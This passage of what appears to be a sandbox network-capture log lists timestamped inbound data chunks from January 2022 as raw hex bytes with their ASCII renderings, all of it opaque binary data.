a1 9b 41 65 9c 93 cf 5b a7 b5 b1 01 ca 21 ff 6f f8 8e 23 a3 83 e0 89 0a df b8 d6 a0 66 1e 8a 12 23 4d 37 60 96 03 1a Data Ascii: C(7B Tz{Ma-8sAt&W??HpH&L#]y)s3{KX '[Cd0tPi'XvtgR`P54+\|~15;`bIOdRr:bqIRAe[!o#f#M7`
2022-01-14 03:59:52 UTC	5774	IN	Data Raw: b5 fa 91 8c 90 22 68 42 8c 74 10 74 e2 81 67 66 4e 2b 27 aa 68 32 e9 47 7a c7 8a 99 4d 4f 32 35 64 9b a0 11 d7 9a 7f cb 8c fc ca 32 f0 b0 34 a1 30 fb 39 16 e3 c8 7c 9c e2 c2 30 6e 65 7e 3d 29 12 68 b6 59 4e 21 4f ad 24 2d ac ea bf 89 13 71 ae d1 7b 18 71 43 05 55 8d 79 eb 6b a2 28 97 d5 16 14 26 27 38 3f 6b a2 00 19 82 7f 0f 7b fc e0 3b b5 c1 52 54 18 ec 63 a5 75 78 5f 6f 38 b3 32 1f ce ba ab df 45 40 fa a7 2a dc 0e 9b 12 22 d2 fd f5 3a f1 15 32 84 d8 5a 54 fe 48 1f 30 56 a0 24 1d a8 f8 78 ad ae c0 2a 5d aa 21 bf d3 9a c6 c4 8b 9c aa f2 09 15 60 cf a9 10 f9 8a d4 e5 b0 27 32 34 b7 2e 00 dc 55 fa 7e 18 d2 b7 79 af 75 fa b9 ad 59 3e 29 07 42 6c 60 e4 d4 c9 8f f3 42 1d ea c0 fd 70 25 6a 19 fa 4a fe 93 87 4b 82 e3 04 a6 5c f1 4d 1f d4 12 9c fd f4 76 4f 0a bb Data Ascii: "hBttgfN+'h2GzMO25d2409\|0ne~=)hYN!O$-q{qCUyk(&'8?k{;RTcux_o82E@":2ZTH0V$x]!`'24.U~yuY>)Bl`Bp%jJK\MvO
2022-01-14 03:59:52 UTC	5790	IN	Data Raw: e6 f2 80 65 75 02 e9 8c 9a 8e b1 1c 45 54 bd 16 8f 22 8f 23 28 13 ca c6 fe 6d 16 4b d9 6b df cd f0 b8 2f 47 23 8a bf ea d7 65 9c 9a 3f eb 10 de 01 d0 96 82 a7 e8 7c c8 cf e8 ab ac f0 b2 f6 f5 d5 8b f6 9b 41 f9 79 df 19 90 75 e1 3f 88 ac 5f 1a 73 c7 85 b0 4a 43 64 7c 32 ec 23 24 a6 8e 5c 9d f3 ae 48 37 f5 9c 27 cf 83 d8 a2 80 5f 5c 36 e5 78 44 e9 f3 03 e9 27 43 3f 48 d0 ac b5 26 1e 7a a0 e8 10 81 99 d9 bf 7a 9f d9 b1 df 2b 05 f1 da d9 17 9f 49 e6 e1 a9 6d 98 76 11 46 5a ec c3 c5 40 42 3a 9e 7f dd 01 33 6d 5e e5 78 16 52 65 1e ad 57 cc b2 d1 aa 73 03 4f 51 fc 2f de 81 0b 4c 7a 11 ce 22 46 9c 8c b2 35 86 bb d0 1a ea 6f cc f5 34 67 1d a3 3e 21 b3 c2 69 1a 41 07 66 24 cb a5 0e 72 9c 89 b2 d6 9d 8f a1 7f 13 9d 71 10 3b 23 c2 79 e7 5b 18 cf d2 c7 b3 33 bb 0a be Data Ascii: euET"#(mKk/G#e?\|Ayu?_sJCd\|2#$\H7'_\6xD'C?H&zz+ImvFZ@B:3m^xReWsOQ/Lz"F5o4g>!iAf$rq;#y[3
2022-01-14 03:59:52 UTC	5806	IN	Data Raw: e1 4a 3b 54 0b 3c d6 6a 72 99 f2 c8 9a 19 4e ea 48 bb 0d ab 4c 72 02 b5 4c b2 a5 36 ef e9 06 37 1d b4 c1 f8 2a 80 d7 86 8d 05 d6 12 cc 66 d5 fd a4 37 dc 04 fa 38 52 65 fd 1b 30 88 4f 22 14 fa c2 31 82 e1 89 e6 53 f4 e7 f3 85 89 37 01 7f 89 cf 7a 51 ce 98 ee 2e 38 79 d0 47 dd 37 a5 b0 2d f2 ae 6d 73 bd 80 cd 73 b2 cb fc 82 cc 84 a9 6d ed f0 4d 37 eb d3 dc 5f aa df fc 47 ce 6f fe 50 9b 44 b5 55 18 13 74 c9 3e 58 6a a3 56 b4 01 af 7d 8b e0 fd 35 92 c0 0e d3 eb 08 b6 32 28 6d 9b 49 a4 e0 17 f5 58 2a 5b c8 31 53 1d 94 40 47 a4 8c 38 83 7b b0 4e 9f 9c cf c3 56 51 12 b5 ac f7 69 e2 ac cd 63 c5 64 3e 4a a3 11 57 d7 1e 84 10 43 7f 35 9c ae 6c 62 f4 73 40 f5 4c d0 fb b9 2f 4e 43 9b f3 f8 0d e7 c2 9a 02 68 ab b5 9f f0 09 ea 07 91 ac 49 ec a9 c3 d1 0f 5a 5f 50 ae 34 Data Ascii: J;T<jrNHLrL67f78Re0O"1S7zQ.8yG7-mssmM7_GoPDUt>XjV}52(mIX[1S@G8{NVQicd>JWC5lbs@L/NChIZ_P4
2022-01-14 03:59:52 UTC	5822	IN	Data Raw: 8c 5c ad 04 31 b2 87 a4 57 1f f5 1c 65 60 85 a3 d1 f2 72 41 4f d7 6d b8 a7 8f 34 a0 a5 b8 08 6a b2 38 21 1a ee bc 24 ed 98 17 56 6f 12 ca a1 5a 32 e3 17 9e 80 a9 d4 13 ae 8b 8e e9 57 43 1b 9e 13 bb f9 00 1b d5 16 ac c5 ab 1c f7 6f e8 82 1e 96 26 53 d4 f8 d8 e7 4c d8 91 3f 6e ec 8a a5 e5 69 b3 3f a7 2f 85 cf cc d5 1d cb 65 f9 3e 67 9c 2e e2 01 52 91 1f dd 4f 82 c2 3c 56 70 ff 96 b7 07 61 06 ee 76 01 46 d8 9c 91 48 38 a7 a3 54 4a 2d 64 ab 32 a5 89 a9 ef a2 50 e1 4f 6c 54 fb 99 2d 6a 6a 1a e1 df b0 3d 05 cd c2 5a 3f c2 ee 03 9e 67 99 9c f4 8d 99 e8 4e 20 d7 33 56 51 6c 93 63 be c9 0f 06 d9 18 bd af 80 f9 6b e5 7c 0a 99 ca 07 22 25 94 66 b9 57 77 0c 73 5d c2 d0 23 fc 54 03 88 71 70 5a 88 bd bd dc b6 9b f2 94 fa 02 ee 0b 88 f8 cc f3 82 96 53 95 4e 96 b4 c9 72 Data Ascii: \1We`rAOm4j8!$VoZ2WCo&SL?ni?/e>g.RO<VpavFH8TJ-d2POlT-jj=Z?gN 3VQlck\|"%fWws]#TqpZSNr
2022-01-14 03:59:52 UTC	5838	IN	Data Raw: 7f c4 9c 0f 2f 68 f0 ae b2 2e c8 82 0f 72 15 b4 77 dd b5 50 11 8f c2 9c 2a f5 1d 42 68 07 7b 38 f3 83 3d e6 97 b0 84 15 31 9f c0 4d 44 a9 49 0c ec 34 68 5b 8f 18 c2 c5 e4 f4 62 3c b7 ce b1 b0 05 bf 4f 01 87 ba d3 f5 f4 61 5a 0f 0d 07 dd 65 6b 11 49 4b 5f a9 6f a8 ee d5 07 85 5e 0d 40 c7 14 13 31 3b bf 55 6f 46 ab 75 d6 c2 b0 a6 ef f2 17 4e 01 84 36 b9 9a 00 b6 b7 3b f3 d0 5d 03 9c 43 22 62 f2 d8 e5 43 fd da e4 fc ee 97 59 bb 19 65 40 52 ca c8 e4 a3 4d 4b 93 2d 78 97 c8 19 ca 7e 15 78 47 ff 2f e1 d7 e5 60 3b 7e f0 0f 8c 90 9a 34 f2 4f 29 2b 09 ea c8 ab a9 84 bd b0 2d 7e 61 bf d4 3f 18 de 6f a6 c3 aa 1f 33 e6 aa 2d 34 6d 60 3f 79 db ba b8 a9 61 56 6c 7e 41 5e 12 c0 1d a7 d6 5b 57 2f f9 cc 6f bd ee e5 d5 6e 76 99 bd ab fe 26 d1 a5 80 b0 bb cb fa 7b 5e 48 a9 Data Ascii: /h.rwP*Bh{8=1MDI4h[b<OaZekIK_o^@1;UoFuN6;]C"bCYe@RMK-x~xG/`;~4O)+-~a?o3-4m`?yaVl~A^[W/onv&{^H
2022-01-14 03:59:52 UTC	5854	IN	Data Raw: a5 13 49 c2 b9 74 10 fe 75 d1 d1 27 53 93 81 f0 55 48 bc a8 d2 3d 73 f4 2c 93 3f 24 6c 8a 75 ce 38 6e c5 86 d7 a6 12 47 cf 57 12 89 e0 77 e1 bf 15 a9 4d 8e eb d8 9d ca c0 4f 51 e9 32 35 b6 dd 11 df b6 87 fe 5a 26 e1 0f e1 73 87 0d 35 f7 d3 f8 99 8b 8b 6f 7d f5 3e 4d 92 13 66 60 3d e1 ee 15 6a d1 d9 8b 33 f9 96 c9 f9 57 5d 5c 35 9a 53 22 56 42 33 4c d5 61 86 c2 80 5d 88 ec 80 46 09 71 75 fd d0 00 43 05 e9 43 56 f9 79 0b 7b 2a 4b 8a 28 b9 18 2b 0a a9 e7 34 58 08 49 f5 d9 3e 51 dc 5c 4b 02 aa 1d 9b da 03 3c ef 26 7c d6 53 ad 6e 8f 2a b2 29 b1 8a 71 b5 f4 f7 6f 8d 3d 0d 58 09 be 66 a8 a7 4f da 88 e1 36 3e b9 cc e1 9a 7b a9 a5 fe bf c7 d5 0a 4a a3 58 34 fe 97 e5 b5 ab 1b 43 c4 96 7e 48 cf 83 de a0 f1 ed c9 9a 4f 9f 7c 0f 71 be d9 47 17 1b f5 24 db a9 6b 12 f5 Data Ascii: Itu'SUH=s,?$lu8nGWwMOQ25Z&s5o}>Mf`=j3W]\5S"VB3La]FquCCVy{K(+4XI>Q\K<&\|Sn)qo=XfO6>{JX4C~HO\|qG$k
2022-01-14 03:59:52 UTC	5870	IN	Data Raw: f3 c3 1a 9c 63 bd 39 11 ef 08 79 b0 b9 59 18 57 62 4e e4 29 39 d0 bf 1a 69 72 12 ef 42 4f bc 54 99 f1 ac 2d d0 72 d8 9c 1f 41 11 71 89 90 0b 7d cf c2 34 2d 98 32 2d f3 1a 38 c2 47 92 50 0f c3 6c 22 95 a9 ac b7 00 ac cb c8 82 11 89 82 d3 52 81 a1 a7 07 ee cd 7a 3b ab f2 22 e3 d1 49 61 d1 0f 30 8d af 1d 02 5d 6d 00 71 75 e7 b3 8d 75 85 f6 fd ca 20 af 49 da e6 76 80 2b 28 96 3e da d6 6c d4 a4 e3 be 68 17 c0 9d d8 06 59 07 5a 4b 04 8f ed 37 b0 6a 9d c8 08 fb 87 1d 52 98 da bb 65 24 66 29 6c 8e 58 be 0f 1d 33 a7 6a 14 dc 11 91 12 a1 4b e6 04 89 ea 65 bb 0d 0b c8 32 b9 de 07 d9 fd 94 09 36 ed a7 59 2d 03 c1 44 49 b7 d9 bd 6c 0a a6 f6 93 de 4b af bd a1 00 a6 bd 1b be ee 0b 1a eb 12 24 4e bd 0a 4d 85 05 72 7d e0 c6 19 fe ab d7 2e b2 ae 70 f2 22 ac 8e 45 a2 15 88 Data Ascii: c9yYWbN)9irBOT-rAq}4-2-8GPl"Rz;"Ia0]mquu Iv+(>lhYZK7jRe$f)lX3jKe26Y-DIlK$NMr}.p"E
2022-01-14 03:59:52 UTC	5886	IN	Data Raw: a2 ae bc 7a cf 8b 17 9d 1e f8 3f 9c 8f a9 94 08 9a 2e a0 d5 b5 56 1d d2 62 94 12 ff 3c 79 1d 91 95 26 f4 08 92 c1 f2 50 57 89 cb 96 00 a6 e2 eb 09 72 f0 9f 55 60 54 ab 95 61 e2 82 15 f8 6a e0 d8 32 f2 42 3e 14 ec f8 ef 1e 5e d2 4b 12 b6 b2 80 61 6f 4d b0 a6 83 8e 7b fa c8 15 1d b6 cc 36 ca d2 61 7b 44 d3 83 ad 51 1c f6 2d 48 44 51 5b ae fc 89 f2 eb 6b b3 22 4c 3b d4 34 7a f0 e5 0c 6a 7c 10 02 d1 36 82 8c 64 ae 24 69 dd cb 99 83 10 7c a8 f1 43 4b 48 fd 62 b8 8e 76 5e b6 ff 34 f6 e8 08 97 b2 3b 69 0b 60 8d 18 f7 be 86 15 1e f2 77 d5 0b d7 2b 40 53 17 e7 3b 21 7a 4a b7 25 19 84 55 77 e7 5a 8b 11 08 6b ea b1 aa 6a 70 22 01 90 41 36 91 34 7c 66 d3 dc 1e a7 c7 7a 3c 71 92 28 c2 32 48 a8 aa 9f 8c b6 0c c4 3f 88 f8 7a 05 14 05 02 a7 bf 36 5b aa a1 b5 c5 c6 1b dc Data Ascii: z?.Vb<y&PWrU`Taj2B>^KaoM{6a{DQ-HDQ[k"L;4zj\|6d$i\|CKHbv^4;i`w+@S;!zJ%UwZkjp"A64\|fz<q(2H?z6[
2022-01-14 03:59:52 UTC	5902	IN	Data Raw: ff bd 09 5f e8 d6 36 5a b4 e4 92 ee d0 23 bc 94 7b cd ad 3c 7f 6f ca 38 5b 20 5d cf cf e4 f3 b7 e3 83 be 43 6b 8c 37 77 93 10 f4 19 ad eb 69 30 e8 46 6c 8c 0d a9 49 81 50 d5 6b 70 0f ac 30 a7 79 e3 54 ba cb fb 46 48 16 ec c1 11 e4 f6 9f d7 e9 b8 65 e2 bf 68 f4 40 ab a2 37 07 86 fe 24 e6 a4 74 0d 39 48 8e 04 08 27 b1 ce 73 ce 05 44 3e 82 23 1a f8 fe 01 b0 bd 54 2c de 06 2a 4c 30 e0 c5 eb b2 2c 20 f0 df a9 cb d9 8a 9c a1 21 60 22 3f 6d f5 f2 36 df d3 41 a6 63 25 49 f2 bf 1b 86 c9 43 1d 36 5a 3a 91 d8 2e ec 27 1d 3b 52 4b c4 f5 99 39 17 43 b0 0a b6 86 3c 86 8c 2e 1e 2d 41 c3 46 b7 5f 8c 48 4a 93 3a 4b 94 f7 e5 00 95 15 f0 05 f5 47 37 55 b5 61 88 75 9c 61 aa 14 33 78 46 a5 3f 69 2d fa f4 50 d9 a5 36 11 d9 e8 c8 0e 83 9f 6d 79 88 16 a2 fa 2b f0 5e 82 fe 71 91 Data Ascii: _6Z#{<o8[ ]Ck7wi0FlIPkp0yTFHeh@7$t9H'sD>#T,*L0, !`"?m6Ac%IC6Z:.';RK9C<.-AF_HJ:KG7Uaua3xF?i-P6my+^q
2022-01-14 03:59:52 UTC	5918	IN	Data Raw: 29 de 12 e3 ae 3e 52 e8 9b ed d7 a3 5b ec c5 f7 4b 8f 05 05 16 d7 c7 da a5 b0 8c 99 36 5b be c8 5b e5 9c 8e 9f 54 57 56 e9 7f f3 b8 04 e4 c4 cf 0c 29 7a 9b 5f 35 f7 bd 08 56 07 ab 96 e1 60 af af 41 3a 8a 5f 35 d5 2d 3b b3 77 69 8d 58 7c e4 78 9c 2b 91 c5 02 48 71 27 d3 09 0e 8e b9 27 91 75 68 b8 b9 e5 21 f3 e9 b7 c9 2a 79 55 53 4d a7 58 2a e2 45 07 85 a7 e2 3d b7 96 e8 a5 5d 3f 39 31 df c9 90 02 68 ae 6e aa 2c 6c a6 1f 4b 7a 7c fd 69 db cf c4 0e a9 65 9b 05 6f 03 38 42 00 15 4e 83 f8 0b 79 38 60 c3 52 25 17 c5 fa 2d f9 72 83 ef bb 6f a1 dc 9e d3 a6 65 58 94 b0 11 89 e0 10 a0 21 ae d5 e3 47 d2 c6 29 d2 c6 33 17 f3 53 7e 4a 86 92 b8 af 2f 48 fd bf 9e 5b 51 5d eb 60 62 a7 ad ce d2 e5 d0 67 34 0b 07 87 fb 6e 18 a2 33 a4 4e 8e b0 1b 42 2c 6f 6f fe 73 3f 6c b4 Data Ascii: )>R[K6[[TWV)z_5V`A:_5-;wiX\|x+Hq''uh!yUSMXE=]?91hn,lKz\|ieo8BNy8`R%-roeX!G)3S~J/H[Q]`bg4n3NB,oos?l
2022-01-14 03:59:52 UTC	5934	IN	Data Raw: 70 aa 4a 60 a2 7f 87 c8 5a 76 b2 d4 5a d6 af 89 a0 48 df ae 43 a9 b9 c6 04 ba 03 8a 47 61 ee 72 32 14 30 2e 9e 98 f2 4d e7 a7 e5 32 e3 d8 c0 53 e2 f7 f7 2c 37 1e c9 67 e3 2c 75 8a dd f2 86 6b 4e 73 bc 23 9c 55 5d 31 71 2d 91 38 93 5a db 81 f3 9e 48 bc b5 41 a8 d3 38 f2 33 b2 7e 02 4d db c7 f3 07 8e a1 b4 9c 52 4d 1f 55 4d 7e 9d 64 89 b3 c0 e2 8e ef 5b 92 46 9c 63 2b 52 28 3c 1a ed 7f 9b ef b8 4c 67 87 68 e8 7a e6 06 e9 2e c5 1c fa 27 87 a5 92 a5 b1 14 15 91 97 ba db 4a d1 8a d8 53 07 90 28 e2 6f b5 77 6f 2f 75 9b 7f dc 20 5b 01 0c 99 96 42 f7 f0 d0 4f c6 ae fe e8 67 de c8 11 81 f2 0b fa ab 71 b6 5f 13 0b 17 7a 73 3e 2f be 2d 66 e9 2f cb 45 e4 f3 4f d0 c5 3c f3 24 71 85 f2 89 de 1a f0 14 3a 86 c1 0e a1 87 77 cc f1 a6 2e 8b b5 32 c7 c9 ce fb 24 39 eb 10 60 Data Ascii: pJ`ZvZHCGar20.M2S,7g,ukNs#U]1q-8ZHA83~MRMUM~d[Fc+R(<Lghz.'JS(owo/u [BOgq_zs>/-f/EO<$q:w.2$9`
2022-01-14 03:59:52 UTC	5950	IN	Data Raw: 58 50 24 cb 93 01 26 6d 2c d1 b2 bc 0b 8a 37 be 6c 1d 0d cc 3e 55 48 71 36 49 9e 24 bd 11 21 a3 58 09 b4 e7 d3 d6 57 1e 40 a4 d7 08 2c 99 da c0 de ef 03 d3 66 60 7c 6a f2 57 f9 4c fe 77 82 94 78 c3 ba 6c 8c e0 02 19 cd 32 89 e1 af 56 43 7a da 4c 19 34 c2 98 ed 77 20 05 82 0b 9e 78 c7 9c 9c f5 a2 8e 19 c9 69 ec f8 95 de 57 62 70 e2 f7 42 29 07 a0 42 0a 7f ac 2f f8 a4 83 23 38 cc 0a 43 87 8f 27 48 37 e3 45 f4 2c 1e 3b 09 98 46 8a 55 5f ab 27 b1 2c 77 5b 44 bc 88 94 64 35 3d bb 68 74 c5 ef b8 45 b5 bc f1 29 55 f4 e3 48 e5 77 c0 a5 c9 ff f6 4b c7 c9 74 47 a9 47 73 31 af b3 9b 95 7f 5a d6 cd 90 ff de 2e 62 bb ad cd e1 51 97 1e 97 b9 5a 5b 8a 12 94 33 6f 05 57 d0 2a a7 4b f9 ef f2 3b d4 d5 60 38 08 f0 b9 80 ac 32 ed 7b 2d 20 42 0d d2 cf a1 b0 c9 0b 9a 26 2f d7 Data Ascii: XP$&m,7l>UHq6I$!XW@,f`\|jWLwxl2VCzL4w xiWbpB)B/#8C'H7E,;FU_',w[Dd5=htE)UHwKtGGs1Z.bQZ[3oW*K;`82{- B&/
2022-01-14 03:59:52 UTC	5966	IN	Data Raw: 71 c6 37 bd ab ad ba 72 26 48 36 0a 12 61 d8 fe 72 f6 92 1b 80 93 8b 9d 02 57 c9 ea 2a 31 90 ee 1a 0f 10 46 ac 12 5b 8e 7d 57 52 9d a4 d1 4d c6 a2 ff ba 8a 45 5a 82 e1 61 33 4b ab b9 f0 87 42 83 c5 7d a8 84 79 86 fd 45 2a c4 7c ac d8 c2 c3 f2 90 0f 12 a9 f7 d8 a4 a9 54 cc 23 4b 0b d5 02 d1 9e 3d 84 63 76 72 0f b8 3a 00 1c 73 16 56 a1 ff 0f 7d 71 db 57 c9 cd 89 9a 6b 6f 3b 10 bf a8 ac 4a 9e 3a 2e b0 83 60 0b 93 da 52 e4 9c 60 ff 21 44 15 fa 37 d4 c8 4a 36 29 53 d5 da aa 2e a0 02 67 ff 6a fa 0f fc f5 3e 03 66 bb 2f c8 0d 56 87 6b bc 7d 6e f4 bc e3 ae ab b6 7d c8 b3 ef 38 92 56 e7 b3 3f d7 fd 93 ec 3b bc 2d b6 a3 6b c1 c5 a7 57 75 8c 30 da 42 cf 96 34 e2 a3 f6 3c bf a8 a9 b7 27 67 d8 e9 72 64 51 b2 d2 37 d0 31 2c cb 2f a8 ac 6d ef 43 38 5e 24 44 0d 3e d5 e2 Data Ascii: q7r&H6arW1F[}WRMEZa3KB}yE\|T#K=cvr:sV}qWko;J:.`R`!D7J6)S.gj>f/Vk}n}8V?;-kWu0B4<'grdQ71,/mC8^$D>
2022-01-14 03:59:52 UTC	5982	IN	Data Raw: f0 55 08 60 41 76 77 ed 82 36 4f 65 32 54 06 77 6c ae 9a b7 e8 09 dd 82 2e 60 19 a2 f1 39 64 0e ee e4 ba d9 52 e8 cf 51 81 f5 4f c0 0b 1d 44 a0 28 f5 9a 3c ca 0c 3b 30 8d c2 d8 8e 59 10 29 2c f5 3a d6 90 e0 72 ad 4f f2 33 5f 73 9d 28 11 a2 fd 4c 03 31 d7 89 c2 9f 06 7f 21 9c 09 2d e4 88 74 7e 0e c4 03 9a ab ae 42 5d 9b 0c 98 58 4b 89 40 b4 a0 02 32 7d bf 6e 22 f0 0e a5 22 03 2b 28 33 49 cb 54 a6 09 63 79 8c b3 14 0b 95 17 2d 96 d0 27 9a e0 d9 24 b5 f2 5b 05 cd b1 3a c4 81 f3 47 cc d4 b8 c0 35 1c 3e a3 84 6c b5 ca 31 bf f6 bf 81 cb 35 19 9b 13 0c 99 06 a7 1b b6 b4 79 42 ca b2 11 c7 0a f4 f8 11 0b 13 d0 da b9 51 47 5c 33 05 9e 93 eb ce 16 33 fd 44 3e 9f 46 8f 70 27 0b 95 d3 6b 52 87 41 d9 a7 f2 55 11 18 ff 8c 41 60 5d 94 0e 51 03 a9 29 c9 51 76 2c 9e 8d 85 Data Ascii: U`Avw6Oe2Twl.`9dRQOD(<;0Y),:rO3_s(L1!-t~B]XK@2}n""+(3ITcy-'$[:G5>l15yBQG\33D>Fp'kRAUA`]Q)Qv,
2022-01-14 03:59:52 UTC	5998	IN	Data Raw: 5a 7a 94 9c a0 39 ed 19 35 01 a1 3f 78 11 88 9a 0e 30 d2 99 21 19 88 e6 24 ca a9 89 08 b5 c6 43 87 4c e7 5d ee e5 ef 6a d9 ca 7a 30 62 90 df 43 15 ec 87 57 db 55 8d 0b 5e bb 80 f1 46 5e 5b 27 eb 12 f4 84 ab 0c a6 5e a4 4d 6b bf 10 b9 a8 65 66 6e f9 50 60 71 0f 3d 78 0d 33 9f 7c 2c 70 79 54 0e 8e 48 b4 80 69 d0 a5 ab 3d 84 70 20 57 26 fd 4e 3e a4 12 f0 9d 6e 28 31 1c 9c 7e 1e 84 c3 52 a4 b5 85 25 3e be f6 fc ff 25 d7 c1 19 cb 52 c0 dd f3 dc 5c 42 24 96 f3 95 58 d2 19 5b ca 1f 3f 7b 3c 78 91 05 36 97 d4 1b 29 cb 18 83 ea 70 18 e1 47 76 03 7d 58 30 55 f1 78 e0 75 61 5b 51 01 e4 c8 c2 60 ae 59 be 24 8f 9f 91 5c 22 ee 91 84 1f 7f 56 7b e0 33 e7 bd 6c 51 62 fb f1 93 da 7f 45 59 30 fc c6 22 39 61 5d 96 32 18 59 4e 42 33 d7 09 67 ea ad a7 16 f1 ca 01 57 ed 4a c0 Data Ascii: Zz95?x0!$CL]jz0bCWU^F^['^MkefnP`q=x3\|,pyTHi=p W&N>n(1~R%>%R\B$X[?{<x6)pGv}X0Uxua[Q`Y$\"V{3lQbEY0"9a]2YNB3gWJ
2022-01-14 03:59:52 UTC	6014	IN	Data Raw: 16 2e 27 67 aa 9c b9 1a 70 25 82 3e 0b 66 1a 04 22 6d 21 7a 65 d1 27 e2 54 5d c0 65 1f 1f 64 f8 f3 87 42 0c fe 54 38 53 c4 37 e6 86 28 c2 16 f0 f5 fd 32 22 d7 a4 27 c0 cb d3 ed 37 e1 75 94 41 a1 38 b0 70 2b ef 45 5a 35 51 12 2b ce 59 0c 0c b9 b4 9e 9d c3 70 99 19 85 6a 92 44 c1 1f cd 39 b6 d0 8e 79 e0 43 b7 80 2c 72 15 89 f4 f4 3d 1b ec cc 25 00 52 03 a2 3e 80 23 d0 a7 5a 15 8c 32 0e f7 97 5b b0 a4 ce d1 2f 05 02 00 1a bd 12 62 12 6d 1f ef 73 02 0b de 9d 33 02 83 cc 7d fc 77 6b 3f b9 4d ab 02 91 67 8f b5 cd 12 75 7e 95 36 35 4f 6d 93 76 c6 f1 d6 50 63 71 1a d3 e8 cc cb 89 13 ed df 61 63 cb fd e3 7c 4c a7 b7 36 49 ba a4 c1 32 f7 f3 e1 59 b9 1a 18 83 86 bf f7 cf 63 51 e3 cd c0 83 d1 ed 80 17 2b ac 6b 5b c4 0a 54 26 39 e1 32 c4 09 b6 1c 71 bc 4c aa 22 82 ad Data Ascii: .'gp%>f"m!ze'T]edBT8S7(2"'7uA8p+EZ5Q+YpjD9yC,r=%R>#Z2[/bms3}wk?Mgu~65OmvPcqac\|L6I2YcQ+k[T&92qL"
2022-01-14 03:59:52 UTC	6030	IN	Data Raw: 59 5e 42 42 4a 04 43 1a ff 8b 4f b2 c7 25 e7 31 2a b1 5c 92 4e 36 bf 8d 97 ae 65 d9 5d ff 30 43 c6 0f d0 26 4e 22 9e 2d 40 a4 f0 90 02 1d 1a 9c 4e f8 10 f4 13 ef 74 12 30 42 eb 42 95 99 06 89 ac df 35 53 df 7b e6 dc a2 5a 1c 1a c0 09 71 e4 8f f7 7e 2d d5 72 8e c9 bf 68 d0 51 d6 1c 01 fc 71 00 5d b4 d1 90 e3 10 45 1d 89 c1 05 6d 15 c4 14 ad 28 42 9b e1 6f 5f 80 1a ce d6 95 50 a6 3b 92 89 88 7f 63 69 1c dc c1 53 a7 5a b4 30 84 64 0a 3c a9 5e 55 d4 4f 48 5f b3 04 b5 3d 85 00 2a 92 6e 92 26 90 cc d0 1f 08 e4 55 a2 ba 40 4c 08 7a b7 84 ab 77 25 ec cc 17 1d 04 7b b0 26 98 55 14 17 7e ee 06 10 04 9e f2 6c 63 23 41 90 48 bb f9 95 31 58 3b b1 81 c3 6e a5 61 41 ba 68 83 de 1a 4d 37 60 a6 15 77 19 87 28 95 5b 23 53 56 da 8f 5a 02 37 5f f7 56 96 62 58 41 5a 7f 22 18 Data Ascii: Y^BBJCO%1\N6e]0C&N"-@Nt0BB5S{Zq~-rhQq]Em(Bo_P;ciSZ0d<^UOH_=n&U@Lzw%{&U~lc#AH1X;naAhM7`w([#SVZ7_VbXAZ"
2022-01-14 03:59:52 UTC	6046	IN	Data Raw: 79 98 5c 00 98 2d 20 16 ce d9 47 01 07 ff e7 81 32 14 07 af 29 33 d2 37 96 94 3f f7 c4 93 bb a3 1f 4d 66 73 49 2e 01 ba a1 90 55 01 08 1a 24 2c c0 4d 08 54 fb f6 bf 54 91 ae e6 39 d8 87 37 1c 34 da 3d 0f d7 bc 0c fb 31 10 65 9b 08 53 44 8a ed 9f ef e6 57 26 06 83 59 d8 2c 66 53 14 80 3d 06 3d 64 25 d7 0c 1b 47 dd 78 7a 5d 2f 4a 5b bd 6d 53 cf e8 6d 0c f1 ce 3a 2a be 68 5b 18 1c 37 f4 e3 8e f7 46 eb 60 1b 2e e5 fe 27 d7 d3 e1 12 b9 0f 93 e4 20 d5 2f 7e 71 c2 b5 9c 74 d4 6b 88 1d 72 2c 10 67 df 06 fa ad 16 fa 64 a6 4f 5c 8d 82 2e 73 c4 8f b5 1a 6a 28 73 ca c5 2d 2d 72 03 4e 08 54 66 51 eb 83 27 06 2f 8e 24 b9 f9 d8 46 4e 8d e0 f5 34 dd 9a 21 48 8d 78 9b 17 58 3c 0f c4 3a cb 7d be e2 cb d7 df 80 0f 39 d3 a7 2d 7c 2f 71 71 cc 07 1e e9 f7 9b d2 f9 91 42 fc a4 Data Ascii: y\- G2)37?MfsI.U$,MTT974=1eSDW&Y,fS==d%Gxz]/J[mSm:*h[7F`.' /~qtkr,gdO\.sj(s--rNTfQ'/$FN4!HxX<:}9-\|/qqB
2022-01-14 03:59:52 UTC	6062	IN	Data Raw: 26 c3 0a c2 7e d0 17 93 3e d3 19 87 ea b9 ea 33 78 c0 72 8b 34 6d ac c6 fd 54 fc 43 6c d7 de 21 bb 22 79 24 c9 2b 6d d2 57 a8 a5 d8 61 61 c8 42 c7 c8 46 c8 1d 80 94 25 18 94 d0 76 04 ef 0b 12 8b 9d df 1e 00 34 8a e4 e7 ec 2a ee f0 14 f7 cc dc 11 a0 74 fa 69 4d 8e 3c c9 d2 f2 eb 8e 56 fb 7c 18 66 66 a8 15 93 b1 b4 ce b8 d2 b4 e0 b3 97 28 87 08 d4 2b 4b d1 e4 b9 62 e5 2c 1e 80 59 db 63 50 22 42 15 34 c4 d9 a3 8a 3a 43 d8 71 3a 18 97 b3 0e 61 6e 25 00 5c dc e4 2e 20 d0 50 10 0b f2 b5 3f 28 15 8f 05 64 94 f9 37 f4 3b 2a d6 3e 5e 67 2a 64 1f e2 79 64 1f f6 27 c1 22 d5 41 6d cd 93 2c 88 a7 c4 f3 1f 7d 30 94 a7 0d 37 19 64 68 51 96 b3 25 28 9e 20 2f 35 eb f8 89 f9 d3 ad 24 9c 89 dd 20 c1 54 04 ce 81 47 71 48 41 8e 85 63 5d 7e d8 19 7b 46 3f 1f 08 ee ec 8f 3a de Data Ascii: &~>3xr4mTCl!"y$+mWaaBF%v4tiM<V\|ff(+Kb,YcP"B4:Cq:an%\. P?(d7;>^g*dyd'"Am,}07dhQ%( /5$ TGqHAc]~{F?:
